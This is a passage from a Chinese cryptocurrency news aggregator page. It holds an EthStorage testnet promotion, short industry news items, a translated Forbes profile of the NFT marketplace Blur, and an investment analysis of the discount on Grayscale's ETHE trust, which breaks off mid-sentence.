日上线了测试网，主网上线时间待定，因此有着充足时间布局、交互测试网上的生态项目。 EthStorage 是一个基于以太坊数据可用性的可编程动态存储二层解决方案。 大多数现有的 L2 解决方案，如 Optimism/ZK Rollup，侧重于扩展以太坊的计算能力，即每秒更高的交易。而随着 NFT/DeFi/等 dApps 的普及，存储大量数据重用以太坊主网安全的需求也急剧增长。 二层存储基础设施是被多数人忽略的二层板块的一个大方向，与传统二层逻辑相同，初心都是利用以太坊主网的安全性，实现扩容。 EthStorage 的存储功能主要服务两块业务，一块是 Web3 应用的数据存储，一块是 DA 扩容。这两个主要业务，任何一个单独拿出来讲都是预期非常高的赛道，所以 EthStorage 非常值得关注。 理论上，只要网站的内容存储在以太坊区块链，就可以通过浏览器访问整个网站，如此网站数据存储也实现了去中心化，抵抗审查。然而，这样做的成本非常高昂。 例如，1GB 的链上数据将花费近百万美元。对于许多 Web2 应用程序甚至许多 NFT 来说，这是不可接受的。而二层存储解决方案可以帮助缓解一些成本问题，并且新标准对于可能面临审查风险的 DApps 或网站非常有用。 侧重于扩展以太坊存储能力的 EthStorage 是一条将编程存储扩展到数百 TB 甚至 PB 的 Ethereum L2。EthStorage 将大大降低在以太坊上存储大量数据的成本，将成本节省到原来的 1% 至 0.1%。 EthStorage 依托于 Eth 网路，相比现有解决方案，可以实现以近似的运营成本来实现更去中心化网络的。EthStorage 与 EVM 高度集成，并兼容 Solidity、Remix、Hardhat 和 MetaMask 等工具。目前 EthStorage 团队获得了以太坊基金会颁发的数据可用性研究补助金。 今天，我们大多数用户通过广为人知的「超文本传输协议」（HTTP）访问互联网。当一个互联网用户点击链接或输入网站地址时，计算机使用 HTTP 请求中心化服务器检索信息，例如网站或图片。 而 EIP-4804 的出现，可以让用链接访问 EthStorage 去中心化数据成为可能。 EthStorage 提出了 EIP-4804/W3IP-1「Web3 URL 到 EVM 调用消息翻译」，它是将 HTTP 风格的 Web3 URL 翻译为 EVM 调用消息。 目前，从 Web3 读取数据主要依赖于 Web3 代理到 Web3 区块链的连接。这种翻译大多由第三方代理完成，例如 dApp 网站/节点服务提供商/etherscan 等，这些都不在用户控制之下。 而该标准旨在为用户提供不依赖第三方直接访问 Web3 内容的方法。此外，该标准使其与已兼容 URI 的其他标准实现互操作性，如 SVG。 ERC-4804 将支持「动态数据」，例如允许人们在网站上留下喜欢和评论并与内容互动。作为以太坊本地的标准，该标准也能更轻松地与其他区块链进行交互。 根据 ERC-4804 规范，互联网用户可以在浏览器中键入「web3://」（而不是「http://」），直接打开 DApps（如 Uniswap 或链上 NFT）。这是因为该标准允许用户直接运行查询到以太坊虚拟机（EVM）。 目前，EthStorage 已经开启了测试网，很多大牌协议已经将网页部署到了测试网，另外，如 V 神的博客、去中心化的 dropbox、动态 NFT 等也已经推出了测试网版本。 EthStorage twitter 粉丝数刚刚超过了 1000 人，对于一个拿到以太坊基金会资金的公链基建类项目实属是非常早期，值得重点参与。  ( 4 min )
    Arbitrum社区提案AIP-1.05未通过，反对率达84%
    PANews 4月15日消息，据The Block报道，Arbitrum社区提议“将基金会剩余的7亿枚ARB返还给DAO”的提案AIP-1.05未通过，反对票占84.01%，2100万ARB对该提案投了赞成票，占总票数的14.57%。200万ARB弃权。据悉，Arbitrum的治理代币价格在过去 24 小时内上涨了8%以上。 此前消息，Arbitrum提议将基金会剩余的7亿枚ARB返还给DAO  ( 1 min )
    外媒：特朗普从NFT销售中赚取了10万至100万美元
    PANews 4月15日消息，据CoinDesk报道，美国政府道德办公室的一份文件显示，前总统唐纳德特朗普从特朗普品牌的NFT的销售中赚取了10万至100万美元。以第45任总统肖像为特色的4.5万件数字收藏品于12月发布，并在一天内售罄。由于前总统在纽约被传讯的消息，过去几周该系列的价格飙升。  ( 1 min )
    数据：以太坊质押总量为1723万枚，占总供应量的15.34%
    PANews 4月15日消息，据The Block报道，Token.unlocks数据显示，目前有价值31亿美元的148万枚以太币等待提取。预计在接下来的11小时内将提取257,340 枚以太币（价值5.3695亿美元）。自上海升级以来，质押的以太币数量净减少了11.211万枚（约2.2872亿美元），其中解除质押数量约为32.6万枚。目前质押的以太币总量（不包括赚取的奖励）为1723万枚，价值359.5亿美元，占总供应量的15.34%。  ( 1 min )
    《福布斯》对话Blur：面对百亿巨头，10人小队是如何成功“屠龙”的？
    标题：《Forget Art, Let's Trade: How A 10-Person Startup Came To Dominate NFT Markets》by Maria Gracia Santillana Linares, Forbes 编译：Kxp，BlockBeats 随着过去一年 NFT 购买狂潮的平息，一家新的以交易者为中心的 NFT 市场悄然取代了 OpenSea 成为市场领导者。 NFT 交易公司 Blur 的 24 岁联合创始人 Tieshun Roquerre 回忆着挂在他家办公室墙上的 Vestaboard，想起就在几个月前，从这个显示器发出的嘈杂声音让人无法忍受。这款云连接的分叶显示器，设计成了一个复古火车站出发牌的样子，Roquerre 编写了程序来提醒自己，每当有一枚 NFT 在他的新兴 NFT 市场上买卖时，显示牌就会翻动，而每一次点击都意味着在 Blur 上进行了一笔新的交易。 当 Blur 于 2022 年 10 月首次推出时，翻动一块显示牌的门槛是 0.1 个 ETH，相当于大约 130 美元的 NFT 价值。但随着交易者纷至沓来，即使 Roquerre 将门槛提高到 1 个 、5 个，甚至是 10 个 ETH，也没有减弱人们交易的热情。 Roquerre 承认：「那真是一片喧嚣，我们不得不关掉它。」他自嘲道：「我很烦躁，但又高兴自己烦躁。」 在过去的六个月里，Roquerre 和联合创始人 Anthony Liu（直到最近才以网名「Galaga」为人所知）已经建立起了以交易量为基准的最大 NFT 市场，取代了市场领导者 OpenSea。后者在 2022 年 1 月获得了 133 亿美元的估值，使得其联合创始人 Devin Finzer 和 Alex Atallah 成为了第一批 NFT 亿万富翁。3 月份，仅有 10 名员工的小型公司 Blur 的交易量达到了 10 亿美元，而 OpenSea 的交易量为 2.6 亿美元。 与其他数字资产一样，NFT 市场自 2022 年 1 月达到顶峰以来已经出现下滑，当月销售额达到 50 亿美元。但 3 月份单月交易量达到 17 亿美元，年至今交易量已超过 47 亿美元。一些最受欢迎的 NFT，如 Bored Apes，常常售价超过 10 万美元。 总部位于旧金山的 Blur 的迅速崛起让业界专家感到震惊，因为它能够超过总部位于纽约的 OpenSea，尽管其他有充足资金的创业公司尝试超越 OpenSea 但均告失败。OpenSea 在 2021 年夏季占据了 NFT 市场的主导地位，即使在竞争对手如雨后春笋般涌现时，OpenSea 在 2022 年底仍占据了市场的 75% 份额。根据 Dapp Radar 的数据，它从 188 亿美元的交易量中获得了 4.72 亿美元的营收，交易手续费为 2.5%。一年前，Coinbase 推出了自己的市场与 OpenSea 竞争，但结果非常糟糕，至今仅录得 600 万美元的销售额。 Blur 迅速崛起的原因有很多。首先，尽管 OpenSea 一直在迎合零售 NFT 买家和艺术爱好者，但 Blur 采取了截然不同的方法。Blur 借鉴了 Robinhood 的增长策略，瞄准了活跃的 NFT 交易者，通过向 Paradigm 和 Cozomo de Medici 等 Crypto 投资者筹集的风险资本来支持其业务和增长，从而在平台费用上压倒了竞争对手。与 Binance 类似，Blur 还通过自己铸造的 Token 奖励客户，而 OpenSea 尚未启动类似举措。Blur 的时机非常巧妙。对于用户友好的 OpenSea 来说，零售客户和收藏家对 NFT 的休闲购买基本上已经消失。但是，以盈利为目的的 NFT 交易者仍然在每天大量交易数字资产。 Blur 的替代模式和突然出现动摇了整个 NFT 生态系统，促使许多参与者重新审视受众定位、创作者版税和 NFT 效用。 Roquerre 是马萨诸塞州剑桥市一家家庭旅馆经营者的儿子，他对科技初创公司的热爱始于 2013 年，当时他 15 岁，获得了快速成长的 T 恤初创公司 Teespring 的软件工程师暑期工作。这份实习工作演变成了一份全职工作，当 Roquerre 从他的波士顿私立高中辍学后，在母亲的帮助下，搬到了与他在 Craigslist 上找到的室友共享的旧金山公寓。 在 Teespring 工作一年后，Roquerre 在 2015 年创立了自己的招聘初创公司 StrongIntro。一年后，他离开了该公司，成为了麻省理工学院的一名大一新生，而 Anthony Liu 已经是大二学生。作为旧金山本地人，Liu 一直知道自己想要进入初创公司行业。他说：「很大程度上，我选择来麻省理工学院的原因是这里珍贵的人际网络。」 负责领导 Blur 的七名工程师团队的 Anthony Liu，直到今天才公开使用他的真实姓名。 2018 年，在他大三那年，Liu 在一位共同朋友的茶话会上遇到了 Roquerre。这场茶话会是麻省理工学院校园里对初创公司感兴趣的学生相互认识的机会。「我们俩在寻找合作伙伴的过程中都非常有意识地做出选择，」Liu 说。 那一年 5 月，Liu 获得了计算机科学学位，而 Roquerre 决定从麻省理工学院辍学，加入他共同创建一家名为 Namebase 的区块链初创公司。Namebase 经营着一个基于区块链的域名市场。经过三年的发展，他们将其出售给了 Namecheap，后者是仅次于 GoDaddy 的全球第二大域名注册商。 在 2021 年 NFT 热潮期间，Roquerre 开始收藏和交易数字艺术品，但对于交易者来说，现有市场的服务让他感到不满意。他说，现有市场「将 NFT 视为零售购物体验」，这对于想要进行更多、更快交易且经验丰富的收藏家来说并不理想。同时，自中学以来就在网上创建和出售数字藏品的 Liu 对这个想法深信不疑。于是，在 2022 年 1 月，Liu 和 Roquerre 为他们的新 NFT 初创公司编写了第一行代码，专注于交易者。 市场平台，即一个公司为买家和卖家提供交流场地和基础设施的地方，很难被颠覆。如果一个不错的交易场所已经出现了，那么新场所想要吸引足够多的买家和卖家就非常困难，而且现有市场越大，打破它就越困难。例如，尽管 Craigslist 的网站在 20 多年后仍然保持原貌，但其 2021 年的收入仍达到了 6.6 亿美元；而已有 11 年历史的 Coinbase 仍是美国购买 Crypto 的最热门场所。在购买和出售 NFT 方面，全球范围内有数十个市场。 Roquerre 表示，要与 OpenSea 在零售 NFT 买家市场上的主导地位竞争几乎是「不可能的」，但他认为在 OpenSea 服务不太周到的客户群中还有机会：那些有时每天交易价值数十万美元 NFT 的活跃交易者。 为了满足交易者的需求，Blur 将其用户界面设计得与 OpenSea 的截然不同，后者强调 NFT 艺术品，呈画廊式展示。Blur 借鉴了活跃股票交易界面，以简单的 NFT 收藏列表和可排序的列显示重要交易数据，如每分钟价格、交易量和所有权信息。用户还可以进一步查看诸如「深度」之类的信息，显示不同价格水平的交易量，以及其「竞价池」允许交易者一次性竞标多件作品以及单击即可批量购买 NFT。 这与 Blur 之前的时代形成鲜明对比，那时交易者要在 OpenSea 上出售大量 NFT，必须逐个列出。NFT 收藏品 Rektguyz 的联合创始人兼艺术家 Ovie Faruq 表示：「那实在太痛苦了。」 为了降低这些交易者的成本，Blur 采取了一种有争议的策略：向艺术家支付版税变得可选。在 OpenSea 和其他市场上，NFT 创作者通常有权在其作品的二次销售中获得版税，通常高达 2.5%。但是，版税从未嵌入到区块链上的 NFT 底层、低级代码中，因此只能由建立在区块链之上的软件（如 OpenSea 的市场）来执行。Blur 的举动激怒了艺术家，导致 OpenSea 降低了版税费用，截至 2 月份，两个市场都同意遵守最低版税费用为 0.5% 的规定。 「Blur 曾表示他们并不在乎艺术性，只想建立一个人们可以为这些作品创建市场的交易所，而不关心这些 NFT 具体是什么样子」，前芝加哥期权交易所交易员、现已退休并热衷于 NFT 交易的 Shane Cutra 说道。自 2020 年 12 月开始交易以来，53 岁的 Cutra 表示，他通过交易 NFT 赚了约 40 万美元。 Blur 还通过发放其本地 Blur Token 吸引了客户，这种 Token 根据交易者的活动水平存入（或在 Crypto 领域称为空投）到交易者的钱包中。创建这种「忠诚度」Token（在 Blur 的例子中可用于享受折扣）并根据使用情况免费发放，是 Crypto 吸引和保留客户的常见营销策略。Blur 的 Token 与币安 Token 一样，不代表平台所有权，但确实具有投票权，让 Token 持有者在平台软件更改上发表意见。 Blur 的第一轮 Token 空投于 2 月份进行，面向自去年 10 月推出以来一直使用该平台的用户，为从竞争对手那里转换过来的交易者提供额外 Token。它还找到了一种创新的方法，为交易活动提供 Token 奖励，最大程度地减少了「自洗交易」，这是 Crypto 交易中的一种常见现象，人们与自己交易以获取交易激励或操纵市场，实质上只奖励客户某些类型的出价。NFT 市场 Looksrare 和 X2Y2 都在 2022 年初推出，试图颠覆 OpenSea，但都受到了大量自洗交易的困扰，且从未占据超过 15% 的 NFT 交易市场份额。 Roquerre 拒绝透露他持有多少 Blur Token（总发行量为 3.42 亿），只表示其中 29% 属于 Blur 创始人和员工。剩余的忠诚度 Token 中，51% 用于 Blur 的交易者，20% 用于投资者和顾问。根据CoinGecko的数据，Blur 目前流通的 Token 市值约为 2.5 亿美元，每个 Blur Token 约为 0.58 美元。 Blur 的策略累积效应对 NFT 市场产生了巨大影响。2 月份，OpenSea 宣布暂时取消其 2.5% 的平台费用——这是去年其几乎赚取 5 亿美元营收的商业模式。4 月份，OpenSea 推出了 OpenSea Pro，这是一款 0% 手续费且与 Blur 具有类似交易工具的 NFT 交易平台。当《福布斯》致电 OpenSea 征求评论时，他们拒绝直接谈论 Blur、费用结构的变化或是否计划推出自己的忠诚度 Token。「我这辈子见过很多走向失败的竞争，」知名 NFT 工作室 ArtBlocks 的艺术家兼创始人 Erick Calderon 说，「在我看来，这次最为惊人。」 在疯狂且有时令人困惑的 Crypto 和 NFT 交易世界中，围绕商业模式建立可持续的壁垒几乎是不可能的。自去年推出以来，Blur 在不到六个月的时间里就取代了 OpenSea 成为市场领导者，但如果希望保持领先地位，它还面临许多挑战。首先，它不收取任何费用，因此主要依靠其 1100 万美元的风险投资资金。它需要采用收费或找到其他收入来源来维持其开支，目前只有 10 名员工，其中大部分是软件工程师。8 月份，Blur 的 Token 持有者将就开启 2.5% 平台费用的提案进行投票，但如果启用这些费用，它可能很快失去大量用户。尽管过去七周 Blur 在交易量上一直遥不可及地领先于 OpenSea，但 OpenSea 的月度用户仍然多于 Blur，OpenSea 每周有 9 万交易者，而 Blur 约有 4 万，根据Dune 上的数据。 Blur 与 NFT 艺术家之间也存在不和，因为它大胆地削减了所有给予创作者的版税。Deadfellaz 流行系列的创始人兼 CEO Betty 在最近的一条推文中说：「当你不承认或支持创造你交易的人时，你怎么指望经济繁荣呢？」 然后还有监管问题：美国证券交易委员会（SEC）一直在加大对 Crypto 公司的执法力度，并越来越将 NFT 视为潜在的证券。一起针对流行的 NBA Top Shot 创作者 Dapper Labs 的诉讼指控该公司的 NFT 是证券，SEC 据报道正在调查领先的 NFT 工作室 Yuga Labs，因为其涉嫌未注册证券形式的 NFT（如 Bored Apes）的销售。 诸如 Blur 的奖励 Token 也可能受到审查，Eversheds Sutherland 的证券执法和诉讼实践合伙人 Adam Pollet 表示，即使 Token 仅用作治理 Token 以改进和资助平台的发展，Blur 仍可能面临监管行动。 他补充说：「这降低了违规行为的风险，但绝对没有消除它。」Roquerre 则表示，Blur 正与其律师团队和 Paradigm 的合作伙伴紧密合作，以确保他们处于法律的正确一方。他说：「从第一天开始，我们就一直关注确保我们所做的一切都符合监管规定。」  ( 6 min )
    NBA球星拉梅洛·鲍尔入驻The Sandbox元宇宙
    PANews 4月15日消息，The Sandbox宣布与NBA夏洛特黄蜂队球员拉梅洛·鲍尔（LaMelo Ball）达成合作，拉梅洛·鲍尔将入驻The Sandbox元宇宙。The Sandbox将为拉梅洛·鲍尔创建一个元宇宙社交中心，并在4月17日至5月1日举行球迷活动，活动包括19个独特的任务，所有任务都与梅洛的爱好有关。 此前消息，NBA最佳新秀拉梅洛·鲍尔拍卖与NFT相关的签名球鞋  ( 1 min )
    五折买ETH机会还是陷阱？深入解析Grayscale信托
    摘要 2023年加密市场从去年的深熊里大幅反弹，很多人可能还未来的及‘上车’，此时对比资产净值（NAV）仍有5折左右折价的 Grayscale 信托份额显得格外有吸引力； 基于以太坊 Web3 核心基础设施的地位，我们看好 Grayscale 信托产品矩阵中 Ethereum Trust (ETHE) 在未来潜在牛市中的反弹表现； ETHE历史上曾长期溢价或折价，产生正溢价的原因包括，申购有锁定期、产品可触达性高于ETH 现货，相比自己保管私钥的成本ETHE更适合传统金融领域机构和小白散户投资； 目前长期折价的原因主要与该产品无法直接赎回、类似封闭基金的产品结构有关，此外，套利机会的限制、大型投机者的被迫平仓、机会成本的折现、竞争性产品的冲击也是原因； 2021年中负溢价趋势形成以后市场对 ETHE 恢复平价的时间预期越来越长，经我们测算，在去年底一度超过了14年，如今回落到10年左右。我们认为这一预期仍然过长，待乐观预期来临之际这一隐含恢复时间可能回落至2年以下较为合理； 有七种情况可以导致折价收窄甚至消失：包括开放赎回 ETH 现货（分为赎回获得SEC豁免以及ETF转换申请通过两种情况）、获得赎回豁免、产品解散清算、Grayscale 自行回购、套利策略的发展和市场信心的提升、机会成本的下降有助于折价修复； 自2019年ETHE诞生以来，该产品还尚未经历完整的“周期”。我们认为一个完整的周期应遵循 溢价→平价→折价→平价→溢价的循环，目前ETHE产品只走完了一半的周期，我们认为假若押注潜在的牛市，则 ETHE 具有更好的弹性，年初以来 ETHE 涨幅是 ETH 的1.7倍证明了这一点； 但历史数据测算显示 ETHE 的风险回报比不佳，如表1可见 ETHE 几乎在所有方面相较于 ETH/USD 表现较弱。意味着如果准备长期持有ETHE可能要做一些针对性的收益增强策略，否则如果牛市不能快速到来的话其表现有弱于大盘的风险。 综述 在 2023 年，加密货币市场再次成为投资者关注的焦点，BTC 和 ETH 的涨幅冠绝全球大类资产。然而，许多投资者仍然未能从熊市思维中恢复，未能及时把握这一投资机会。但在Grayscale 信托旗下的 GBTC 和 ETHE 产品中，投资者仍可获得近五折的折价买入机会。 因为我们认为，以太坊网络（ETH）未来将是主流Web 3应用的核心基础设施，除了和BTC一样可以承接传统资金外溢，还将拥有 Web 3生态应用带来的α，所以本文将特别关注 Grayscale 信托产品 ETHE 的折价现象和潜在投资价值，并详细讨论这一现象可能的缩减甚至消失的情景，以及适合专业投资者加入加密市场的理由。此外，我们还将分析这款产品的法律结构及潜在风险。 Grayscale Bitcoin Trust 早在 2013 年 9 月便推出，在法律上被指定为授信人信托（grantor trust）创建信托的人（授信人）是信托中资产和财产的所有者，保留对信托内资产的完全控制权，这在实际目的上类似于封闭式基金。在这种特殊结构下，它允许投资者通过购买受益权来间接拥有信托基金中的资产。与封闭式基金类似，授信人信托通常不允许投资者在任意时间赎回其持有的股份。 Grayscale Ethereum Trust (ETHE)（以前称为 Ethereum Investment Trust）（“信托”）是特拉华州的法定信托，成立于 2017 年 12 月 13 日，于 2019 年 7 月上市交易，采用了和GBTC相同的信托结构。 采用信托结构的好处是，由于该信托不会在任何交易所交易、购买、出售以太坊或其衍生品，所以可以避免受到相应监管机构的管辖，便于产品尽快发行，尽管 ETH 到底归属 CFTC 还是 SEC 管辖至今也尚未明确。 首先简要看一下 ETHE 和 ETH 的主要区别： 投资方式不同 ETHE 是上市信托基金，受美国证监会(SEC)监管，便于机构管理资产负债表；ETHE 通过一般证券户口交易，比加密货币交易所更为简易和便宜；ETHE 能够成为个人退休金账户(IRA) 及401(K)(美国退休福利计划)，享受投资税收优惠；不用学习如何管理加密货币电子钱包，无需担心因自己的原因不慎遗失私钥或钱包遭黑客攻击等风险； 供应量不同 ETH的总供应量没有上限，而ETHE的供应量则取决于 Grayscale 的发行计划； 市场需求不同 由于ETHE是一种投资产品，它的市场需求和 ETH 有所不同。一些机构投资者和个人投资者可能更愿意投资ETHE，而普通的数字货币交易者可能更愿意交易 ETH； 其它 ETHE 投资人暂时无法向Grayscale 赎回底层 ETH 资产或等值美元；ETHE 每年收取2.5%资产净值的管理费；ETHE 不能参与DeFi挖矿等链上行为。 理论上 ETHE 价格应该围绕 ETH 持仓价值上下波动，但实际上它的二级价格表现并非完全贴市，自 ETHE 2019 年上市以来，历史上曾经长时间维持着对ETH的正溢价，2019年上市之初一度超过1000%。自2021年2月后ETHE进入负溢价模式，并持续至今。 图1：历史 ETHE 折溢价与ETH价格走势   来源：Graysacle, Trend Research Grayscale 的加密信托份额类似封闭基金，这导致了其市场供应量在早期非常有限。其次，由于加密货币市场的不成熟，许多投资者并不知道如何购买和存储加密货币，因此可以在美股券商平台直接购买的 Grayscale 的加密信托基金被买出了溢价。 可以看到，ETHE历史上溢价绝对值在2019年6月21日达到最高，直至2021年2月首次出现负溢价前，ETHE都以较高的溢价在二级市场上交易，2021年2月后，市场处于牛市，伴随更多可追踪比特币/以太坊价格的指数产品推出，投资者可选择的投资方式增多，ETHE开始以相对NAV更为平价的价格在二级市场上交易。 2021年6月29日，GBTC申请转为ETF被SEC驳回，仅一小时后Grayscale起诉SEC，这影响ETHE折价进一步放大。2021年中~2022年底，随着数字货币市场整体见顶走弱，期间以三箭资本（3AC）和 BlockFi 等几家已宣告失败的加密公司为首的大型投机者因为杠杆过高或财务吃紧需要被迫出售基金份额，即便当时市场折价，他们无法等待，这同样进一步扩大了 ETHE 的折价。 图2：2021年初首次出现负溢价以来的折价/溢价变化情况Vs. ETH价格走势   来源：Tradingview, Trend Research 图3：ETHE 和 ETH 价格的相关性在大部分时间里都非常高   来源：Tradingview, Trend Research 总结来说，产生负溢价/正溢价背后原因为Grayscale ETHE Trust 无法直接赎回的基金产品结构，产生正溢价的原因包括，产品可触达性高于ETH现货，相比自己保管私钥的成本ETHE更适合传统金融领域机构和小白散户投资；资产负债表入账处理、税收优势以及帮助投资者绕过合规相关问题；产生负溢价的原因包括无法直接申赎回的基金结构、套利机会的限制、机会成本的折现、竞争性产品的冲击四大原因有关，将在下文重点介绍。 根据法律文件只有 Grayscale 授权的参与者（Authorized Participants，简称AP）可以直接向 Grayscale 购买和赎回 ETH。AP 需要满足一定的资格要求和监管要求，包括必须是注册经纪商或交易商，并且必须符合特定的监管标准。根据规则，该信托份额每 100 股为一组，AP 每次申购至少一组，并且只能用 ETH 现货兑换。 目前为止，AP只有两家。在2022年10月3日此之前，DCG 旗下的 Genesis Global Trading, Inc. 是唯一的AP；2022年10月3日后，Grayscale Securities 取而代之成为了该信托的另一家唯一AP。 所以，也可以理解成 Grayscale 自己扮演了 primary dealer 的角色，而其它投资人只能购买从他们手中流出的份额。所以尽管一些机构可能可以以一级市场的原价申购 ETHE 但从规则上来说，他们并非直接申购人，亦无权要求赎回。至于为什么这些机构要这么做可能有两个主要原因，一是看到二级市场溢价时的套利机会，二是把 Grayscale 当做托管机构避免自己管理私钥的风险和成本。 目前，信托基金没有运营股份赎回计划，因此 AP 和其客户也无法通过信托基金赎回股份。因此，参与者无法利用二级市场价格偏离信托 ETH 资产持仓每股净值时所产生的套利机会，这导致出现折价时价差难以恢复。若可以直接申赎，则市场参与者可以二级市场低价购买信托份额再从基金中赎回价值更高的ETH，推动折价收窄。 由于无法直接申赎，带来了套利机会的限制，这点牛市存ETHE存在正溢价时阻碍并不明显，而熊市出现负溢价时则更加显著。 在传统 ETF 市场中， 当对 ETF 的需求增加或减少与资产净值相比的市场价格导致溢价或折价错误定价时，就会出现套利机会。 这种错误定价往往会通过套利快速自行纠正。 套利有两种主要模式，一是针对可以快速申购赎回的 ETF 份额和标的资产之间的基础套利，二是针对无法快速申购赎回的 CTA 策略套利： 基础套利 在溢价的情况下，投资者将通过向基金公司申购 ETF 份额并随后在二级市场卖出进行套利； 这将降低 ETF 的需求/价格。 在折价的情况下，二级市场购买 ETF 并在基金公司赎回更高的价值进行套利； 这将增加 ETF 份额的需求/价格。 CTA策略套利 针对难以及时申购或赎回的 ETF，则可以使用押注 ETF 底层资产和ETF份额之间价差回归。当出溢价到某种程度时做多底层资产，做空 ETF份额；当折价到某种程度时，做空底层资产，做多 ETF 份额。 该种策略的实施空间受到价值收敛通道的影响，在ETHE的案例里，由于价值回归主要依赖监管的判断，而不是市场参与者的某种确定的操作（例如申赎），所以不确定性较高，导致市场可以容忍的价差也较大。 图4：ETHE 历史折价溢价率 Vs. 流通份额数量   来源：Graysacle, Trend Research 从上图可以看到，在溢价缩窄以后，2021年春天以后，正向基础套利不复存在，新增的信托份额申购也停止了。 传统市场中也有一个经典的类似无法申赎的封闭基金的案例。这就是股神巴菲特的Berkshire Hathaway的股票，作为一家投资公司，其股票价格可能受到其投资组合中持有的公司股权价格波动的影响，但普通投资人无法要求Berkshire Hathaway兑付其名下的资产，也无法随时申购该公司的新股。 但过去几十年中，Berkshire Hathaway的股票一直以高于其净资产价值的溢价交易，这主要得益于公司创始人沃伦·巴菲特的成功投资记录和市场地位。然而，在某些时期，公司股票的溢价水平可能会下降，反映出市场对公司的看法发生了变化。 例如，2020年3月，Berkshire Hathaway的股票曾经下跌了约30%，导致公司股票交易价格出现了较大的折价。这个折价可能主要反映了市场对COVID-19大流行的担忧以及Berkshire Hathaway在旅游、航空、金融等受到疫情影响的行业中的暴露程度。 回到 ETHE 的案例，ETHE 在一级申购后要持有最少6个月后才可以在二级市场上流通，因此，正溢价的基础套利路径是存在的只是需要更长的时间。但 ETHE 在2021年2月首次出现负溢价后，投资者在一级市场的申购行为几乎停滞，这显然是因为负溢价基础套利需要赎回支持，而 Grayscale 开放该计划的时间表不明。所以，在 ETHE 的投资策略对比持有现货并无更多优势的情况下，其封闭份额很难像Berkshire Hathaway的股票一样重返溢价。 其次，随着数字货币市场整体见顶走弱，机构抛售方面，三箭资本（3AC）和 BlockFi 等几家已宣告失败的加密公司为首的大型投机者之前从 GBTC、ETHE 巨幅溢价中进行基础套利赚钱，进行了大量申购-等待6个月卖出的操作，随后因为杠杆过高或财务吃紧需要被迫出售基金份额，即便当时市场折价，他们无法等待。例如，已经公开的信息中可以看到今年早些时候 DCG 由于财务问题，被迫半价出售约25% ETHE持仓，放大ETHE负溢价空间。 图5：ETHE和ETH2021年中高点到2022年底低点的表现对比：   来源：Tradingview, Trend Research 3.机会成本的折现 表1：ETHE 相关法律/财务信息（As of March 31, 2023）   来源：Graysacle, Trend Research Grayscale Ethereum Trust 的管理费每年是资产净值（NAV） 2.5％。在公开数据中，Grayscale 会将信托的预计应计但未付的费用每日扣减其 ETH 持仓，因此每股 ETHE 所代表的ETH数量是逐渐减少的，这点从下图里也能看到。 图6：ETHE 流通份额数量（左）Vs.每份额所对应的信托持有 ETH 数量（右）   来源：Graysacle, Trend Research 如果不考虑其它风险，如今的折价可以理解成持仓机会成本的折现。所以我们根据二级市场折价率 X 以及持仓的机会成本 Y 可以倒推出隐含的市场预期可赎回或恢复NAV平价所需的时间 T，我们假设NVA的潜在增长预期是0，同时假设： 持仓机会成本+10年期美国国债收益率+2.5%管理费，则：(1-Y)^T=1+X 可得：T=ln(1+X)/ln(1-Y) 图7：ETHE 历史折价率 Vs. 隐含市场预期可赎回（恢复平价）时间（单位：年）   来源：Graysacle, Trend Research 从上图可以看出2021年中负溢价趋势形成以后市场对 ETHE 恢复平价的时间预期越来越长，在去年底由于监管打压+市场遇冷一度超过了14年，如今回落到10年左右。但我们认为这一预期仍然过长，待乐观预期来临之际这一隐含恢复时间可能回落至2年以下是较为合理的预期。最悲观的产品最终清算解散所需的时间预期可能才符合超过 10 年的定价，毕竟Mt.Gox 的资产清算也才用了 9 年。 2019年以前，市场鲜有Grayscale信托产品的竞争者，2021年2月18日，Purpose bitcoin ETF-一支直接投资与比特币的加拿大基金正式开始交易，并在一个月内迅速累计超10亿美元的资产，而管理费1%只是GBTC的一半不到，其ETF结构可以跟密切的跟踪比特币，因此比Grayscale的产品更有吸引力。 而就在2个月后的4月17日，加拿大监管机构在同一时间批准了3支以太坊ETF，分别是Purpose Investments的以太坊ETF（ETHH）、Evolve资本集团的以太坊ETF（ETHR）以及CI全球资本管理公司的以太坊ETF（ETHX），且三支都于4月20日上市。根据三家官网显示，三支以太坊ETF的管理费略有差距，CI Global的管理费0.4%，Evolve为0.75%，而Purpose Investments的管理费则是1%。上市首日，Purpose 以太坊ETF吸引了2646万加元（约合2132万美元）的资金，Evolve的ETHR筹得了222万加元（约合179万美元）的资金，而CI Global的ETHX的资产规模为225万加元（约合181万美元）。 3日后，4月23日，加拿大的第四支以太坊ETF也开始在多伦多证券交易所进行交易，这是由加拿大数字资产管理公司3iQ和投资公司CoinShares联合推出的，提供加元份额（ETHQ）和美元份额（ETHQ.U）的交易。jin ri 除此之外，还有更多的ETH期货ETF，相关股票，包括持币的上市公司，挖矿和资管业务等上市公司市占率增大，这些多样化的投资渠道弱化了Grayscale信托产品对传统金融投资机构和散户的稀缺性，成为Grayscale不得不考虑的竞争因素。 有七种情况可以导致折价收窄甚至消失：包括开放赎回 ETH 现货（分为赎回获得SEC豁免以及ETF转换申请通过两种情况）、获得赎回豁免、产品解散清算、Grayscale 自行回购、套利策略的发展和市场信心的提升、机会成本的下降有助于折价修复。 根据最新的一份 Grayscale2022年底发布发的 FORM 10-K申报文件具体看来，他们依旧认为在获得SEC批准ETF转换后，其信托可以开展赎回计划。尽管​​SEC已经拒绝了将GBTC转换为ETF的申请，但美国联邦上诉法院法官在今年3月质疑 SEC 这一决定是否正确，因为该机构此前已批准比特币期货 ETF 产品。 需要注意的是，Grayscale 目前仅针对 GrayscaleBitcoin Trust (GBTC) 提出了 ETF 转换申请，尚没有公布将Grayscale Ethereum Trust（ETHE）转换为ETF的计划。但最近的进展无疑是积极的，在 今年3 月 7 日举行的最近一次听证会上，Grayscale 辩称，SEC 应用的标准存在不一致，因为他们批准了比特币期货 ETF 的申请，但一直拒绝现货比特币 ETF 的申请。 Grayscale 认为，由于这两种产品的基础资产相同，并且它们的价格都来自比特币，华尔街监管机构应该对这些产品进行类似的处理，但事实并非如此。Grayscale 声称监管机构的行为是武断和反复无常的，因此违反了美国联邦法律。SEC 回应称，它一直在应用相同的标准，但产品实际上是不同的。根据 SEC 的说法，比特币期货市场受 CFTC 监管，这使其不同于现货 BTC ETF，他们认为后者不受监管。 在听证会之前，彭博分析师Elliot Stein 认为 SEC 在诉讼中具有优势，并且他们胜诉的几率远高于 GBTC 发行人，因为法院倾向于服从联邦机构，因为他们是各自领域的专家。然而，在听取最新论据后，Elliot Stein认为 Grayscale 有 70% 的胜算机会。若 GBTC 获批, 也会直接利好 ETHE 的情绪。不过需要注意的是与 BTC 已有基于期货的 ETF 被 SEC 